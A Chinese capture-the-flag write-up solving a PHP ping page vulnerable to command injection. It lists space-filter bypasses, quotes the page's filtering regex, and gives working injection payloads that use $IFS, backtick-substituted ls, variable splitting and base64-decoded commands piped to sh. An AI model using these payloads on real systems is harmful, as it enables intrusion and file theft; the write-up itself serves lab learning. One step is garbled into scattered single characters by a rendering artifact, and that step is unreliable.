| 题目
 解题过程1、题目页面提示?ip=,猜测是让我们把这个当做变量上传参数,由此猜想是命令注入
 2、用管道符加上linux常用命令ls(windwos可以尝试dir)试试所谓管道符(linux)的解释与用法如下:
  尝试命令:
 ?ip=127.0.0.1;ls
  看到flag.php,那就使用cat flag.php命令尝试读取
 ?ip=127.0.0.1;cat flag.php
  被过滤了空格,过滤空格的方法如下:
 $IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 
 尝试命令1: ?ip=127.0.0.1;cat$IFS$1flag.php
 
 还是被过滤了查看一下index.php,查看一下过滤机制,命令如下:
 ?ip=127.0.0.1;cat$IFS$1index.php
 
 |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>
 这些是正则匹配的过滤方式,好像过滤了很多命令 1、利用*匹配任意不行?id=127.0.0.1;cat$IFS$1fl*
 被过滤了
  2、尝试base64绕过?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash
 
 还是不行 3、尝试ca\t$IFS$1fl\ag.php?ip=127.0.0.1;ca\t$IFS$1fl\ag.php
 
 被过滤了 4、尝试cat fl’'ag.php?ip=127.0.0.1;cat$IFS$1fl’'ag.php
 
 还是被过滤了 5、构造一个
    
     
      
       
        a
       
       
        变
       
       
        量
       
       
        ,
       
       
        尝
       
       
        试
       
       
        a
       
       
        =
       
       
        g
       
       
        ;
       
       
        c
       
       
        a
       
       
        t
       
      
      
       a变量,尝试a=g;cat
      
     
    a变量,尝试a=g;catIFS
    
     
      
       
        1
       
       
        f
       
       
        l
       
       
        a
       
      
      
       1fla
      
     
    1flaa.php?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
  成功,可以在注释里找到flag
 6、使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.php 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了)?ip=127.0.0.1;cat$IFS$9`ls`
  成功,可以在注释里找到flag
 7、base64绕过时bash被过滤了,尝试用sh代替?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
  成功,可以在注释里找到flag
 总结以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢! |